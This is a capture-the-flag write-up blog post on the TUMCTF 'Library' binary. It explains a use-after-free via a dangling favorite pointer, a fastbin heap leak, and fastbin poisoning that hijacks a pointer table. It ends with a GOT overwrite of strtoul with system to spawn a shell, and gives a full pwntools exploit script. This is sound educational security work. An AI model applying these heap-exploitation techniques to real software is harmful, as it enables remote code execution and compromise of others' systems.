TUMCTF Library Write Up

Solved by 4rbit3r

I couldn’t solve this problem during the CTF, but found it to be very interesting. I have solved problems involving heap bugs, but never one that had something to do with fastbins. It took me a while, but learning something new is always good.

Let’s get down to business. Running checksec on the binary gives the following data :

$ checksec vuln
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE

Alright, let’s see what the binary does. A little bit of reverse engineering and we find that the binary maintains a list of structure objects which I’m gonna call books. And there’s a table which contains pointers to each of these books.

The structure of the book can be described like this :

struct book {
char title[32];
char text[32];
int rating;
}

I kept looking for some overflow but that didn’t get me anywhere.

One thing that we need to notice in this binary is the existence of a favorite global pointer. This pointer is adjacent to the pointer table and the number of entries in the table num. The size of the table is changed according to the number of entries. So each time we add a new book , or delete an existing one, the table pointer is realloc‘ed with the value of num.

The favorite can be made to point to any of the entries in the table. And we can also edit the contents of the object which is pointed to by favorite.

So if we were to delete the book at index ‘x’, while our favorite points to the same book, we would be able to edit data in a free chunk using the edit option of the favorite book .So what we need to do is to create an object, mark it as favorite, delete it, edit the favorite. Done ! But what do we write in that free chunk ?

So what we need here is a memory leak. The sizes of the book objects are always 80. So if we were to add ‘n’ number of books and then delete all of them, they would end up in the same fastbin. And when a new request is made to malloc, it tries to return the top chunk, if any, from the appropriate fastbin. The fastbin is a LIFO structure. So the top chunk has a pointer to the next chunk. If we create 2 chunks A and B, make A our favorite, delete B, delete A, A should contain the pointer to B (Since A is now the top of the fastbin and B came before). So the address of B will be printed out while printing the details of the favorite book. And there’s the memory leak.

So if our favorite pointed to the last chunk that was deleted, that same chunk will returned by malloc or realloc provided the requested size was 80.

And if we can get realloc to return the same chunk as favorite, we could control the table array.

So our objective as of now is to get realloc to return the same chunk pointed to by favorite. Which is not really possible. Because, if that has to happen, the table has to contain 7 chunks (8 chunks => size = 80). But we need to delete the chunk pointed to by favorite. So that realloc can return it. But, when we delete one chunk, the number of elements become 6, and therefore,the table pointer is not changed. And if we were to add a new chunk to make num 7, then that new chunk is what favorite points to and not the table array.

What we can do here is to corrupt the fastbin list. When you delete a book for the first time, its next pointer is set to NULL, since it is the only element in the fastbin. The next time a chunk is free‘d, this new chunk’s next points to the previously free‘d chunk. So the top of the fastbin changes from say ptr to ptr->next.
Let’s call the chunks A,B,C…etc. Suppose we make A as our favorite. And now we delete A. Now we edit the favorite and make the next pointer of A point to B. Remember that B is in use. Now A will be returned by the first request made to malloc or realloc after deleting A. But on the next call to malloc or realloc, the chunk returned will be B (Assuming the requested size is the same as that of B).

So if we create 7 chunks, the size of the table will be 0x40. Now we make the first our favorite. We delete the the first book. Now we edit the content of favorite and set the next pointer to the second book. Since we deleted the first book, num = 6. So we need to create 2 more chunks so that the size requested will be 0x50. And a request of this size will be fulfilled from the fastbin of the appropriate size. And the the chunk returned by realloc will be the address of the second book. And if we edit the second book, we edit the table contents.

So, let’s list it out :

  • Create two chunks.
  • Make the first our favorite.
  • Delete the second chunk
  • Delete the first chunk
  • Get address of second chunk from favorite.
  • Create 7 chunks.
  • Delete first chunk
  • Edit favorite and set next_ptr to second chunk’s address + 8.
  • Create two chunks.
  • Now the table is in the data section of the second book.
  • Change a table entry to GOT table (here strtoul).
  • Leak address of strtoul.
  • Overwrite GOT entry of strtoul with system.
  • Send “/bin/sh”

There are a few things that we need to consider, like, the next pointer of the deleted chunk should point to the data section of the second book. Also, the first 8 bytes of this second chunk’s data should be the size which here is 0x51. Otherwise, if we were to point the next pointer to the second book’s prev_size field, the title that we gave would be considered as the next pointer of the second chunk which leads to unecessary issues. An easy way is to overwrite the title with 0x51 and make the next pointer point to the second book’s size field.

So if you were able to get all that working, you get a shell. Here’s the script.

from pwn import *

got=0x602070

def add(title,rating,text):
	p.sendlineafter(">","a")
	p.sendlineafter(":",title)
	p.sendlineafter(":",str(rating))
	p.sendlineafter(":",text)

def edit(idx,title,rating,text):
	p.sendlineafter(">",str(idx))
	p.sendlineafter(":","e")
	p.sendlineafter(":",title)
	p.sendlineafter(":",str(rating))
	p.sendlineafter(":",text)

def make_fav(idx):
	p.sendlineafter(">",str(idx))
	p.sendlineafter(":","f")

def delete(idx):
	p.sendlineafter(">",str(idx))
	p.sendlineafter(":","d")

p=process("vuln")

add("A",0,"A")
add("B",0,"B")
make_fav(0)
delete(2)
delete(1)
p.recvuntil("favorite: ")
p.recvuntil("favorite: ")
heap=u64(p.recvline().strip("\n").ljust(8,"\x00"))-0x70
log.success("Heap starting at : {}".format(hex(heap)))

for x in range(7):
	add("\x51",0,"\x51")
delete(1)

edit(0,p64(heap+0x78),0,"AAAA")

add("A",0,"A")
add("B",0,"B")

payload=fit({8:p64(got)},length=16,filler="A")
edit(1,payload,0,"\x00")

p.recvuntil("1: ")
p.recvuntil("1: ")
p.recvuntil("1: ")
strtoul=u64(p.recvline().strip("\n").ljust(8,"\x00"))
log.success("Strtoul = {}".format(hex(strtoul)))

edit(1,p64(strtoul+0x9180),"","")
p.sendline("/bin/sh\x00")
p.recvuntil(">")
p.recvuntil(">")
p.interactive()

 

A bit sad that I couldn’t solve this during the CTF. But loved this challenge.

Leave a comment

Create a free website or blog at WordPress.com.

Up ↑